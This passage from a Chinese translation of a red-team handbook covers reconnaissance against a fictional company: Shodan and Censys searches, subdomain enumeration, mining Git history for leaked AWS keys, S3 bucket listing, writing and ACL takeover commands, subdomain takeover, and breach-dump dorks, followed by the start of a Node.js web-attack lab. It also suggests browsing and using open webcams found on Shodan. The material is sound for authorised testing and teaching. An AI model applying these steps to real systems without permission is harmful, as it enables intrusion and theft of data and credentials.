建立电子邮件提醒/通知系统 参考 diff Slack 警报 Web 应用程序监控 除了定期扫描开放的端口和服务之外,红队还应该监视不同的 Web 应用程序,这一点很重要。我们可以使用以下两个工具来帮助监视应用程序的变化。 我们常用的第一个工具是 HTTPScreenshot 。HTTPScreenshot 很强大的原因是它使用 Masscan 快速扫描大型网络,并使用 phantomjs 捕捉它检测到的任何网站的屏幕截图。这是快速获得大的内网或外网布局架构的一个好方法。 请记住,本书中的所有工具都是在上一版改进的 Kali 虚拟机中运行的。你可以在这里找到虚拟机。 用户名密码是默认的:root/toor。 cd /opt/httpscreenshot/ 编辑 networks.txt 文件来选择你想扫描的网络: gedit networks.txt ./masshttp.sh firefox clusters.html 另一个可以用到的工具是 Eyewitness。 Eyewitness 是另一个很好的工具,它用 XML 文件的方式输出 nmap 的扫描结果、获取到的 Web 页面截图、RDP 服务器信息以及 VNC 服务器信息,。 实验: cd /opt/EyeWitness nmap [IP Range]/24 —open -p 80,443 -oX scan.xml python ./EyeWitness.py -x scan.xml —web 云扫描 随着越来越多的公司转向使用不同的云基础设施,一些围绕云服务的新型攻击和传统攻击逐渐形成。这通常是由于公司错误的配置和缺乏对云基础设施上公共条款的确切了解。无论是选择亚马逊 EC2、Azure、谷歌云还是其他云服务提供商,使用不同的云基础设施都已成为一种全球趋势。 对于红队队员来说,一个问题是如何在不同的云环境中进行探索。由于许多目标公司使用动态 IP,他们的服务器可能不仅变化很快,而且也不在云提供商的某个列表中列出。例如,如果你使用 AWS,它们在全世界范围内拥有巨大的范围。根据你选择的区域,你的服务器将随机放入一个大的范围。对于外人来说,发现并监控这些服务器并不容易。 首先,很重要的一点是要弄清楚不同提供者拥有的 IP 范围。其中一些例子是: Amazon IP 范围 Azure IP 范围 谷歌云 IP 范围 可以看出,这些范围非常大,手动扫描非常困难。在本章中,我们将讨论如何获取这些云系统上的信息。 网络和服务的搜索引擎 要寻找云服务器,互联网上有很多免费的资源,可以对我们的目标进行侦察。我们可以使用谷歌和第三方扫描服务。使用这些资源,我们可以深入了解一家公司,顺利地查找关于服务器、开放服务、banner 和其他细节的信息。而目标公司永远不会知道你通过查询获取了这类信息。让我们看看如何作为红队使用这些资源。 Shodan Shodan 是一个伟大的网络服务,它定期扫描互联网,抓取 banners、端口、网络信息等等。他们甚至会扫描到漏洞信息,如心脏滴血漏洞。Shodan 最有趣的用途之一是浏览开放式网络摄像头并使用它们。从红队的角度来看,我们想要找到关于目标受害者的信息。 一些基本的搜索查询: title: 搜索从 HTML 标记中提取的内容 html: 搜索返回页面的完整 HTML 内容 product: 搜索 banner 中标识的软件或产品的名称 net: 搜索一个指定的网段(例如:204.51.94.79/18) 我们可以在 Shodan 上搜索 cyberspacekittens 网站: cyberspacekittens.com 使用 HTML 的 title 标签进行搜索 title:cyberspacekittens 搜索页面内容 html:cyberspacekittens.com 请注意,我观察到 Shodan 的扫描有点慢。Shodan 花了超过一个月的时间才扫描完我添加的扫描任务,并将扫瞄结果放入 Shodan 数据库。 Censys.io Censys.io 持续监控 Internet 上的每一台可访问的服务器和设备,以便你可以实时搜索和分析它们。通过 Censys 你能够了解你的网络攻击面,发现新的威胁,并评估其全球影响。 Censys 的最佳特性之一是它从 SSL 证书中提取信息。通常,红队队员的主要困难之一是找到目标服务器在云服务器上的位置。幸运的是,我们可以使用 Censys.io 来查找这些信息,因为他们已经解析了这些数据 这些扫描的一个问题是它们可能会延迟几天或几周。在这种情况下,需要用一天的时间来扫描标题信息。另外,在我的站点上创建 SSL 证书之后,信息在 Censys.io 站点上显示花费了四天时间。但是在数据准确性方面,Censys.io 相当可靠。 下面,我们通过扫描找到目标网站 cyberspacekittens.com 的信息。通过解析服务器的 SSL 证书,我们能够确定受害者的服务器托管在 AWS 上。 还有一个 Censys脚本工具,可以通过脚本的方式来进行查询。 手动解析 SSL 证书 我们发现,很多公司没有意识到他们在互联网上暴露的东西。特别是随着云服务使用量的增加,许多公司没有正确地配置安全的访问控制列表。他们相信他们的服务器是受保护的,但我们可以发现他们是暴露在互联网上的。包括 Redis 数据库、Jenkin 服务器、Tomcat 管理、NoSQL 数据库等等——其中许多可以导致远程代码执行以致利益损失。 找到这些云服务器的轻松而又不为人知的方法是在网络上以自动化的方式手动扫描 SSL 证书。我们可以获取云服务提供商的 IP 范围列表,并定期扫描所有这些列表以提取 SSL 证书。通过查看 SSL 证书,我们可以了解有关目标公司的大量信息。从下面对 cyberspacekittens 范围的扫描中,我们可以看到 .int 证书中的主机名。对于内部服务器,.dev. 用于开发, vpn.用于 VPN 服务器等。很多时候你会在结果中看到一些没有对应公网 IP 的内部主机名或者一些他们内部信任的白名单网段。 为了帮助扫描证书中的主机名,我为本书开发了 sslScrape。这个工具利用 Masscan 快速扫描大型网络。一旦它识别到443端口的服务,它就会在 SSL 证书中提取主机名。 sslScrape cd /opt/sslScrape python ./sslScrape.py [IP 地址 CIDR 范围] 云 IP 地址的例子: Amazon: http://bit.ly/2vUSjED Azure: http://bit.ly/2r7rHeR Google Cloud: http://bit.ly/2HAsZFm 在本书中,我会尝试提供一些代码示例和一个初步的程序框架。然而,是否在示例和初始框架的基础上进一步学习这取决于你自己。我强烈建议你从这段代码(也就是 sslScrape 的源码)开始,试着将所有获得的主机名保存到一个数据库里,再做一个 Web UI 前端作为展示页面。然后去连接其他可能有证书的端口,比如 8443 端口,这样可以从证书中获取主机的信息。甚至可以加上扫描 .git 或者 .svn 等源码信息泄露的功能。 译者注: .git/.svn 源码信息泄露,可以参考:https://www.secpulse.com/archives/55286.html 进行理解。 子域名发现 在识别 IP 范围方面,我们通常可以从区域互联网注册管理机构这样的公共资源来查找某个公司。比如美洲互联网号码注册管理机构(American Registry for Internet Numbers,ARIN)管理北美和部分加勒比地区事务,网址为 https://www.arin.net/ 。我们可以查找 IP 地址的拥有者、某个公司的网络、组织的自治系统编号等等。如果我们要看北美以外的地区,我们可以通过 AFRINIC(非洲)、APNIC(亚洲)、LACNIC(拉丁美洲)和 RIPE NCC(欧洲)查找。这些都是公开可用的,并在其服务器上列出。 你可以通过许多可用的公共源查找任何主机名或 FQDN 以找到该域的所有者(我最喜欢的快速查找域名所有者的网站是 https://centralops.net/co/domaindossier.aspx )。但是子域名就很难搜集。因为子域名并不是在某些公开注册系统上集中注册的,而是存储在目标的 DNS 服务器上。你必须知道要怎样搜索才能找到有效的子域名。 为什么子域名对于你的攻击目标如此重要?有几个原因: 一些子域可以表明它是什么类型的服务器(即 dev、vpn、mail、internal、test)。例如, mail.cyberspacekittens.com。 一些网站服务器无法通过 IP 去访问,也就是多个服务器共享一个出口 IP 的情况。这些服务器可能位于共享的基础设施上(比如 virtual host),如果你要访问这些网站,就只能通过域名去访问。这样的情况在云基础架构中非常常见。这种情况下,如果你使用 nmap 扫描这个 IP,只能得到主机的端口开放信息,不能进一步获取更多的 Web 指纹,必须要使用对应的子域名来访问站点,然后使用类似于 WhatWeb 的工具来获得 Web 指纹。 收集子域名可以获得目标在哪托管他们服务器的信息。这是通过找出目标全部子域名、针对子域名反向查询 IP 以及查询托管 IP 的地方来完成。一家公司可能会使用多个云服务提供商和数据中心来托管他们的服务器。 在上一本书(The hacker playbook第二版)中我们讲了很多用于子域名收集的工具,因此让我们回顾一些当前仍然可用的工具的和一些新工具,来更好的进行子域名收集。欢迎扫描 cyberspacekittens.com 域名! Discover Scripts 上一本书里面谈论的 Discover Scripts 工具仍然是我最喜欢的子域名收集工具之一。因为它结合了Kali Linux 上的所有的子域名侦察工具,并定期进行维护更新。被动信息收集将利用下列所有的工具: Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit, URLCrazy, Whois, multiple websites and recon-ng. git clone https://github.com/leebaird/discover /opt/discover/ /cd /opt/discover/ /./update.sh. /discover.sh Domain Passive [Company Name] [Domain Name] firefox /root/data/[Domain]/index.htm Discover Scripts 最棒的地方在于,它基于已收集到的信息滚雪球式搜索。 例如,通过对公开的 PGP 仓库进行搜索,它可能会识别电子邮件,然后使用这些信息继续在 Have I Been Pwned 网站进行搜索(通过 Recon-NG 工具)。这将让我们知道是否可以通过公开发布的数据泄露危害找到一些泄露出的密码。 KNOCK 接下来,我们希望了解公司可能使用的所有服务器和域名。尽管没有存储子域的中心位置,但我们可以使用 Knock 等工具暴力破解不同的子域名,来识别哪些服务器或主机可以攻击。 Knockpy 是一个 python 工具,它通过一个 wordlist 来枚举目标域中的子域名。 Knock 是一个很好的子域名扫描工具,它生成一个子域名列表,并检查这些生成的子域名是否可以解析。因此,如果你想扫描 cyberspacekittens.com, Knock 将使用 此 wordlist,并查看 [subdomain].cyberspacekittens.com 是否有任何子域。在此要注意的一点是,更好的 wordlist 会增加找到子域名的机会。 我最喜欢的一个子域名字典是由 jhaddix 创建的(点此查看)。子域名字典是你应该持续收集的东西之一。其他一些好的子域名字典可以在你的 THP Kali 镜像的 /opt/SecLists 文件夹下找到或者在 这里 找到。 译者注:The Hacker Playbook Kali 镜像在本书的第一章的【本章总结】里面有介绍,是本书作者专门针对于本书中的实验创建的基于 Kali Linux 并且添加了所有工具的完整版虚拟机(点此获取)。 实验: 搜集 cyberspacekittens.com 的所有子域名。 cd /opt/knock/knockpy python ./knockpy.py cyberspacekittens.com 这将使用 Knock 中内置的基础子域名字典。尝试下载并使用更大的子域名字典。使用-u参数切换到 http://bit.ly/2qwxrxB 字典。即: python ./knockpy.py cyberspacekittens.com -u all.txt 你从 Discover Scripts 中发现了哪些类型的差异?什么类型的域将是你的第一个攻击目标,或与钓鱼式域攻击一起使用?去现实世界试试吧!去找一个 bug 赏金程序,并寻找丰富的子域。 Sublist3r 正如前面提到的,Knock 的问题是,它严重的依赖字典的质量。有些公司有非常独特的子域名,无法通过通用的子域名字典找到。下一个最好的资源是搜索引擎。当网站被爬虫爬行时,带有链接的文件会被分析并被收集到公开的资源,这意味着我们可以使用搜索引擎为我们做子域名收集的工作。 在这种情况下,我们可以借助 Sublist3r 这样的工具。注意,这种工具使用不同的 “google dork” 风格的查询语句进行搜索,容易被谷歌人机检查识别成机器人。这可能会使你暂时被列入黑名单,并要求你为每个请求填写验证码,这可能会限制扫描的结果。 运行 Sublist3r: 译者注:原书这里存在笔误,作者写成了 To run Sublister,但实际上应该是 To run Sublist3r. cd /opt/Sublist3r python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com 看看 Sublist3r 跑出来的结果,跟用子域名暴力破解出的结果对比一下,是不是有一些之前没发现的?同样的,再次针对一个 bug 赏金项目尝试 Sublist3r 方法来收集子域名,对比感受暴力破解和使用搜索引擎之间的显著区别。 Sublist3r 有一个分支版本,这个分支版本包含额外的特性(特别是子域名劫持的检查): https://github.com/Plazmaz/Sublist3r SubBrute 最后一个要介绍的子域名收集工具是 SubBrute。SubBrute 是一个社区项目,目标是创建最快、最准确的子域枚举工具。SubBrute 背后的神奇之处在于,它使用开放的解析器作为代理来绕过 DNS 速率限制( https://www.us-cert.gov/ncas/alerts/TA13-088A )。这种设计还提供了一层匿名性,因为 SubBrute 不直接向目标的域名服务器发送流量。 SubBrute 不仅速度非常快,它还执行 DNS 爬虫功能,爬取枚举的 DNS 记录。 运行 SubBrute: cd /opt/subbrute ./subbrute.py cyberspacekittens.com 我们还可以将 SubBrute 的性能提升一下,将其与 MassDNS 结合,以执行非常高性能的 DNS 解析。 Github Github 是一个有惊人数据的宝库。在一些渗透测试和红队评估中,我们能够获得密码,API 密钥,旧的源代码,内部主机名/ IPs 以及更多。这些要么导致直接攻击沦陷,要么帮助发动另一场攻击。我们看到的是,许多开发人员要么将代码保存到错误的仓库(将其发送到他们的公开仓库而不是公司的私有仓库),要么意外地保存敏感数据(如密码),然后试图删除它。Github 的一个优点是,它可以在每次修改或删除代码时进行记录。这意味着如果有一次将敏感数据保存到仓库中,那么即使删除了该敏感数据,那么它仍然会在数据更改中被记录。只要仓库是公开的,你就能够查看所有这些更改。 我们可以使用 Github 搜索来识别某些主机名/组织名,或者甚至仅仅使用简单的 Google Dork 搜索,例如: site:github.com + “cyberspacekittens” 尝试使用不同的方法搜索 bug 赏金程序,而不是仅仅搜索 cyberspacekittens。 通过你所有的搜索,你会遇到: https://github.com/cyberspacekittens/dnscat2 (为 GitHub 实验准备的修改过的示例)。你可以手动检索这个仓库,但通常它非常大,你很难遍历所有的项目来找到一些有趣的东西。 如前所述,当你在 Github 中编辑或删除文件时,一切都会被跟踪记录。对于红队队员来说,幸运的是,许多人忘记了这个特性。因此,我们经常看到人们把敏感信息放到 Github 中,然后删除,却没有意识到它还在那里!让我们看看能不能找到这些珍宝。 Truffle Hog Truffle Hog工具会扫描不同的提交历史记录和分支来获取高机密的密钥,并输出它们。这对于查找机密数据、密码、密钥等非常有用。让我们看看能否在 cyberspacekittens 的 Github 仓库中找到一些敏感的数据。 实验: cd /opt/trufflehog/truffleHog python truffleHog.py https://github.com/cyberspacekittens/dnscat2 正如我们在 commit 历史记录中看到的,AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文件中删除了。但是如果查看当前仓库,你找不到这个文件。 更好的设置(但是设置起来有点复杂)是 git-all-secrets。在查看大型项目时,Git-all-secrets 非常有用。你只需指定某个项目并在本地克隆该项目代码,然后使用 Truffle-hog 和 repo-supervisor 扫描它。在此之前你需要创建一个 Github 访问令牌,令牌是免费的,通过创建一个 Github 并在设置中选择 Generate New Token 选项来生成。 运行 git-all-secrets: cd /opt/git-all-secrets docker run -it abhartiya/tools_gitallsecrets:v3 -repoURL=https://github.com/cyberspacekittens/dnscat2 -token=[API Key] - output=results.txt 这将克隆仓库并开始扫描。你甚至可以使用-org参数跑完该组织在 Github 上的所有内容。 容器(container)运行完成后,输入以下命令检索容器 ID: docker ps -a 有了容器 ID 后,就可以输入以下命令将结果文件从容器(container)发送到主机: docker cp <container-id>:/data/results.txt Cloud 正如我们前面所说的,cloud 是我们看到的许多公司有不安全环境配置的一个领域。最常见的一些问题是: Amazon S3 Missing Buckets: https://hackerone.com/reports/121461 Amazon S3 Bucket Permissions: https://hackerone.com/reports/128088 Being able to list and write files to public AWS buckets: aws s3 ls s3://[bucketname] aws s3 mv test.txt s3://[bucketname] Lack of Logging 在开始测试不同的 AWS 存储桶上的错误配置之前,我们需要首先发现它们。我们将尝试一些不同的工具,看看我们能在受害者的 AWS 基础设施上发现什么。 S3 Bucket Enumeration(S3 存储桶 枚举) 有许多工具可以为 AWS 执行 S3 bucket 枚举 。这些工具通常利用关键字或列表,应用多种排列,然后尝试去发现不同的 bucket。例如,我们可以使用一个名为 Slurp 的工具来查找关于目标 CyberSpaceKittens 的信息: cd /opt/slurp ./slurp domain -t cyberspacekittens.com ./slurp keyword -t cyberspacekittens Bucket Finder 另一个工具 Bucket Finder 不仅会尝试查找不同的 bucket,还会从这些 bucket 中下载所有的内容进行分析: wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 cd /opt/bucket_finder ./bucket_finder.rb —region us my_words —download 你一直在基于 Cyber Space Kittens 的基础设施进行搜寻,并发现了他们的一个 S3 bucket( cyberspacekittens.s3.amazonaws.com )。在 S3 bucket 中检索可见的和不可见的内容时,你的第一步要做什么呢?你可以首先把它弹到浏览器中来看一些信息: 在开始之前,我们需要创建一个 AWS 帐户来获得一个访问密钥 ID。你可以在 Amazon 免费创建你的帐户。创建帐户后,登录 AWS,转到你的安全凭据,然后转到访问密钥。一旦你有了 AWS Access ID 和密钥,我们就可以查询 S3 bucket 了。 查询 S3 并下载一切内容: 下载 awscli: sudo apt install awscli 配置凭证: aws configure 查看 CyberSpaceKittens 的 S3 bucket 的权限: aws s3api get-bucket-acl --bucket cyberspacekittens 从 S3 Bucket 中读取文件: aws s3 ls s3://cyberspacekittens 下载存在 S3 Bucket 中的所有内容: aws s3 sync s3://cyberspacekittens 除了查询 S3 之外,接下来要测试的是写入该 bucket。如果我们有写的权限,可能就可以对它们的应用程序完成 RCE(远程命令执行)。我们经常看到,当 S3 bucket 上存储的文件被用于它们的所有页面时(并且如果我们可以修改这些文件),那么我们就可以将恶意代码放到它们的 Web 应用服务器上。 写入 S3: echo “test” > test.txt aws s3 mv test.txt s3://cyberspacekittens aws s3 ls s3://cyberspacekittens 注意,write 已被从 Everyone 组中删除。这只是为了示范。 修改 AWS Buckets 中的访问控制 在分析 AWS 的安全性时,我们需要检查关于对象和 bucket 的权限控制。对象是单独的文件,bucket 是存储的逻辑单元。如果配置不正确,任何用户都可能修改这些权限。 首先,我们可以查看每个对象来判断这些权限是否配置正确: aws s3api get-object-acl —bucket cyberspacekittens —key ignore.txt 我们可以看到只有一个名叫 “secure” 的用户对该文件有写的权限。文件不是对所有人开放的。如果我们有写的权限,就可以使用 s3api 中的put对象来修改该文件。 接下来,我们看看是否可以修改这些 bucket 本身。这可以通过以下命令来完成: aws s3api get-bucket-acl —bucket cyberspacekittens 同样,在这两种情况下,读权限都是全局允许的,但是完全控制或任何写入的权限只有名为 “secure” 的帐户才有。如果我们可以进入 bucket,那么我们可以使用—grant-full-control来赋予我们自己对 bucket 和对象的完全控制权限。 资源: https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/ 子域名劫持 子域名劫持是一个常见的漏洞,如今我们几乎可以从每一个公司看到这个漏洞。如果一个公司使用用一些第三方 CMS/内容/云提供商,并将它们的子域名指向这些平台,那么就有可能发生子域名劫持漏洞。如果公司忘记配置第三方服务或从该服务器注销,攻击者就可以使用第三方来劫持该主机名。 举个例子,你使用 testlab.s3.amazonaws.com 这个域名注册了一个 S3 Amazon Bucket。然后,你让你公司的子域名 testlab.company.com 指向了 testlab.s3.amazonaws.com。一年后,你不再需要 testlab.s3.amazonaws.com 这个 S3 bucket 并注销了它,但是忘记了 testlab.company.com 的 CNAME 重定向。现在,一些人可以去 AWS 搭建 testlab.s3.amazon.com,并在受害者的域中有一个有效的 S3 bucket。 一个检查子域名漏洞的工具叫做tko-subs。我们可以用这个工具来检查是否有任何我们找到的子域名指向了一个 CMS 提供商(Heroku, Github, Shopify, Amazon S3, Amazon CloudFront 等),这样该子域名可能可以被劫持。 运行 tko-subs: cd /opt/tko-subs/ ./tkosubs -domains=list.txt -data=providers-data.csv -output=output.csv 如果我们找到了一个悬挂记录,我们可以使用 tko-subs 来劫持 Github 页面和 Heroku 应用程序。否则,我们将不得不手工操作。 译者注: dagling CNAME, 即为 dangling DNS record,简称 Dare, 一般翻译为悬挂记录。这类 DNS 记录指向的资源无效,但记录本身尚未从 DNS 清除,攻击者可以借此实现 DNS 劫持。 拓展阅读:Understanding the Security Threats of Dangling DNS Records 另外两个可以帮助域名劫持的工具是: HostileSubBruteforcer autoSubTakeover 想了解更多关于AWS漏洞的信息吗?一个很棒的的 CTF AWS 演练 -> http://flaws.cloud/ 电子邮件 所有的社会工程学攻击的一个重要部分都是查找 email 地址和员工姓名。我们在前几节中使用了 Discover Script 工具,它非常适合用来收集这些数据。我个人通常从 Discover Script 开始,并用其他工具进行深入挖掘。每种工具的功能略有不同,尽可能多地使用自动化流程是有益的。 一旦你得到了一个小的 email 列表,最好去了解他们的 email 格式。是名.姓氏@cyberspacekitten.com这样的格式吗?还是名的第一个字母.姓氏@cyberspacekittens.com这样的?一旦你弄清楚了他们的格式,我们就可以使用像 LinkedIn 这样的工具来寻找更多的员工,并尝试找到他们的 email 地址。 SimplyEmail 我们都知道鱼叉式网络钓鱼仍然是比较成功的攻击手段之一。如果我们没有找到任何外部漏洞,那么下一步就是攻击用户。要建立一个好的 email 地址列表,我们可以使用像 SimplyEmail 这样的工具。此工具的作用是可以输出公司的 email 地址格式和有效用户列表。 实验: 找出 cnn.com 的所有 email 帐户。 cd /opt/SimplyEmail ./SimplyEmail.py -all -v -e cyberspacekittens.com firefox cyberspacekittens.com<date_time>/Email_List.html 这可能需要很长时间来运行,因为它检查 Bing、Yahoo、Google、Ask Search、PGP 仓库、文件等等。这也可能让你的网络被搜索引擎们识别成机器人。并且如果你产生了太多的搜索请求,那么可能需要填写验证码。 针对你自己的公司进行此操作。你看到任何你可以识别的 email 地址了吗?这可能是可以在一个大规模红队活动中被设为靶子的第一个 email 地址。 过去的违规行为(email 信息泄露) 获取 email 帐户的最佳方法之一是持续监控和捕捉过去的违规行为。我不想直接链接到违规文件,但我给出一些我认为有用的参考: 1.4 亿密码泄露(2017年): https://thehackernews.com/2017/12/data-breach-password-list.html Adobe 信息泄露(2013年): https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/ Pastebin Dumps: http://psbdmp.ws/ Exploit.In Dump Pastebin 的 Google Dork: site:pastebin.com intext:cyberspacekittens.com 额外的开源资源 我不知道该把这些资源放在哪里,但我想提供一个用于红队活动的额外的优秀资源集合。它可以帮助识别人、位置、域名信息、社交媒体、图像分析等。 OSINT 链接合集: https://github.com/IVMachiavelli/OSINT_Team_Links OSINT 框架: http://osintframework.com/ 译者注: 公开资源情报计划(Open source intelligence),简称OSINT,是美国中央情报局(CIA)的一种情报搜集手段,从各种公开的信息资源中寻找和获取有价值的情报。 本章总结 在这一章中,我们学习了各种不同的侦察战术和侦察工具。这只是一个开始,因为这些技术许多都是手工的,并且需要大量的时间来执行。这取决于你自己是否能提高自己的功力,自动化使用所有这些工具,并使侦察工作快速和高效。 第3章 抛传——Web 应用程序漏洞利用 在过去几年中,我们看到了一些严重的、面向外部网络的 Web 攻击。从 Apache Struts 2开发框架漏洞(尽管 Equifax 公司因 Apache Struts 2安全漏洞而造成数据泄露还未被确认),到美国快餐公司 Panera Bread 数据泄露,到 Uber 信息泄露,攻击几乎波及了社会上的一切。毫无疑问,我们还会继续看到许多严重的面向公网的端点攻击。 整个安全行业以周期性模式运行。如果从 OSI 模型的不同层级来看,就会发现攻击每隔一年就会转移到不同的层。就 Web 而言,早在21世纪初,就有大量的 SQLi 和 RFI 类型的漏洞利用事件。然而,一旦公司开始加强其外部网络环境并开始进行外部渗透测试,我们作为攻击者,就要转而针对“第8层”攻击 —— 将社会工程学攻击(网络钓鱼)作为第一切入点。现在,正如我们看到的,各个组织通过新一代终端防护/防火墙来提高其内部安全性,所以我们的重点又转回了应用程序的漏洞利用。我们还看到应用程序、API 和编程语言的复杂性大幅增加,使得许多旧的甚至是新的漏洞重新出现。 由于本书更多地针对红队行动的概念,因此我们不会深入研究所有不同的 Web 漏洞或是如何手动利用它们。这本书并不是一本字典类型的参考工具书。你将关注的是红队队员和坏人在现实世界中所能看到的漏洞,例如那些危害到 PII(个人验证信息)、IP、网络等的漏洞。 对于那些正在寻找非常详细的 Web 渗透测试方法的人,我总是建议从 OWASP 测试指南开始( http://bit.ly/2GZbVZd 和 https://www.owasp.org/images/1/19/OTGv4.pdf )。 请注意,由于在上本书中提到的许多攻击都没有改变,因此我们不会在之后的练习中重复 SQLMap、IDOR 攻击和 CSRF 漏洞等示例。相反,我们将专注于新的关键问题。 漏洞赏金平台 在我们开始学习如何利用 Web 应用程序漏洞之前,让我们先谈谈漏洞赏金平台。我们见到的最常见的问题是,“我怎样才能在完成训练后继续学习?”最好的建议是针对真实的上线了的系统进行练习。你可以一直做靶场训练,但如果没有真实的入侵经验,就很难成长。 但有一点需要注意:平均而言,在你开始不断发现漏洞之前,需要大约3-6个月的沉淀时间。我们的建议是:不要感到沮丧,与其他漏洞赏金猎人保持交流,而且不要忘记可以去看看老一点的漏洞赏金项目。 比较常见的漏洞赏金平台是 HackerOne,BugCrowd 和 SynAck。还有很多其他的平台。这些平台可以支付从零到两万美元以上之间的奖励。 我的许多学生觉得开始寻找漏洞是件令人畏缩却步的事情。这真的需要你投入其中,每天花几个小时做这件事情,并专注于理解如何利用第六感找到漏洞。一般来说,开始的时候可以看看无报酬的漏洞赏金项目(因为专业的赏金猎人不会注意它们)或像 Yahoo 这样大型的老漏洞赏金项目。这些类型的站点往往具有很大的规模和许多遗留的旧服务器。正如在以前的书中提到的,确定测试范围很重要,寻找赏金漏洞也不例外。许多平台都指定了哪些可以做,哪些不可以做(比如禁止扫描、禁止自动化工具、哪些域名可以被攻击等)。有时你很幸运,他们允许你测试 *.company.com,但其他时候可能仅限于一个 FQDN(完全限定的域名)。 让我们以 eBay 为例,他们有一个公开的漏洞赏金平台。在他们的漏洞赏金平台上,他们说明了挖洞指南、符合条件的域名、符合条件的漏洞、不包括的项目、如何报告漏洞和白帽子公开致谢: 如何向公司报告漏洞通常与寻找漏洞本身同样重要。你要确保向公司提供尽可能多的细节。这将包括漏洞的类型、严重性/关键性、利用漏洞所采取的步骤、屏幕截图,甚至用到的 POC(proof of concept)。如果你需要一些帮助来创建风格统一的报告,可以查看和使用下面的报告生成表单: https://buer.haus/breport/index.php 。 我以前有运营自己漏洞赏金平台,有一件事需要注意的是,我在平台上看到了一些情况,研究人员会在验证漏洞时过于深入目标系统(超过了正常验证漏洞的范围)。例如包括在发现 SQL 注入后对数据库拖库,在接管子域后挂黑页填写他们认为有趣的内容,甚至在初始远程代码执行漏洞之后在生产环境中横向渗透。这些案例可能会导致法律问题,并有可能让联邦调查局找上门来。因此,请你最好谨慎判断,确认好测试范围,并记住,如果直觉觉得它是非法的,那么它可能就是非法的。 网络攻击介绍——Cyber Space Kittens 在完成侦察和发现之后,你回顾所有你发现的不同站点。浏览结果时,你没有发现常见的可进行漏洞利用的服务器或配置错误的应用程序。没有任何 Apache Tomcat 服务器或 Heartbleed/ShellShock,看起来他们修补了所有 Apache Strut 问题和 CMS 应用程序漏洞。 你的第六感直觉开始发挥作用,你开始研究他们的客户支持系统。感觉有些地方就是不对劲,但是在哪里呢? 对于本章中的所有攻击,都可以使用一个本书定制的 VMWare 虚拟机来复现这些实验。这个虚拟机可以在以下网站免费下载: http://thehackerplaybook.com/get.php?type=csk-web 为搭建演示 Web 实验环境(客户支持系统): 从以下位置下载本书的 VMWare 虚拟机: http://thehackerplaybook.com/get.php?type=csk-web 下载在实验环境里要用到的完整命令列表: https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt Bit.ly 链接: http://bit.ly/2qBDrFo 启动并登录 VM(虚拟机) 当 VM 完全启动时,它应该显示应用程序的当前 IP 地址。你无需登录进 VM,所以登录密码也不需要。你可以自行入侵这个程序。 由于这是一个托管在你自己系统上的 Web 应用程序,因此我们在攻击端 Kali 系统上创建一个主机名记录: 在我们的攻击端 Kali 虚拟机上,让我们编辑 host 文件以指向我们的存在漏洞的应用程序(客户支持系统),以便可以通过 hostname 和 IP 来引用应用程序: gedit /etc/hosts 添加客户支持系统虚拟机的 IP [客户支持系统的 IP]chat 现在,打开 Kali 的浏览器并访问 http://chat:3000/ 。如果一切正常,你应该能够看到 NodeJS 自定义的客户支持系统程序。 Web 部分的命令和攻击可能非常冗长和复杂。为了方便起见,我在这里列出了每个实验需要的所有命令:https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt 译者注: 译者在尝试复现此实验时,发现没有获取到 ipv4 地址,后来切换了一下网卡设置,把“桥接模式”改成 NAT 就解决了。如果有读者遇到一样的问题可以参考此做法。 参考资料:https://github.com/cheetz/THP-ChatSupportSystem/issues/1 红队的 Web 应用程序攻击 前两本书着重于如何有效地测试 Web 应用程序 - 这一次会有所不同。我们将跳过许多基本攻击,并接触现实世界中使用的攻击手法。 由于这是一本实用性较强的书,所以我们不会详细讨论 Web 应用程序测试的所有技术细节。然而,这并不意味着这些细节应该被忽略。Web 应用程序测试的一个很好的资源是 Open Web Application Security Project,简称 OWASP。OWASP 侧重于应用程序的安全开发和用户教育。每隔几年,OWASP 都会编制并发布一个最常见漏洞的清单—— http://bit.ly/2HAhoGR 。一个更深层次的测试指南位于这里:http://bit.ly/2GZbVZd 。OWASP 的文档将带你了解要查找的漏洞类型、风险以及如何利用它们。这里有一个很好的清单文档:http://bit.ly/2qyA9m1 。 由于我的许多读者都试图进入安全领域,所以我想快速的提一件事:如果你想进行渗透测试工作,你至少要理解 OWASP Top 10 的方方面面,这是至关重要的。你不仅应该知道它们是什么,而且还应该根据风险类型以及如何检测它们了解一些好的示例。现在,让我们回到如何入侵 CSK 上来 。 聊天支持系统实验 将被攻击的聊天支持系统是交互式的,它突出了新的和旧的漏洞。正如你将看到的,对于以下许多实验,我们会提供不同版本的带有聊天支持系统的自定义虚拟机。 应用程序本身是用 Node.js 编写的。为什么选择 Node?作为渗透测试人员,我们要注意的是,它是使用率增长最快的应用程序之一。由于许多开发人员似乎都非常喜欢 Node,所以我觉得理解将 JavaScript 作为后端代码运行的安全含义是很重要的。 什么是 Node? “Node.js® 是一个基于 Chrome V8引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。”Node.js 的包生态系统,即 NPM,是世界上最大的开源库生态系统。 在最基本的层面上,Node.js 允许你在浏览器之外运行 JavaScript。由于 Node.js 具有精简,快速和跨平台的特性,所以它可以通过统一堆栈来大大简化项目。虽然 Node.js 不是 Web 服务器,但它允许服务器(可以用 JavaScript 编程的东西)存在于实际 Web 客户端之外的环境中。 优点: 非常快 单线程 JavaScript 环境,可以充当独立的 Web 应用程序服务器 Node.js 不是协议;它是一个用 JavaScript 编写的 Web 服务器 NPM 代码仓库拥有近50万个免费、可重用的 Node.js 代码包,这使它成为世界上最大的包管理器 随着 Node.js 在过去几年变得如此流行,对于渗透测试人员/红队成员来说,理解应该寻找什么突破口以及如何攻击这些应用程序是非常重要的。例如,一位研究人员发现,弱 NPM 凭证使他能够获取 13% 的 NPM 包的编辑和发布权限。通过依赖链,预计有52% 的 NPM 包是易受攻击的。 [https://www.bleepingcomputer.com/news/security/52-percent-of-all-javascript-npm-packages-could-have-been-hacked-via-weak-credentials/] 在下面的示例中,我们的实验室将使用 Node.js 作为应用程序的基础,它将使用 Express 框架作为我们的 Web 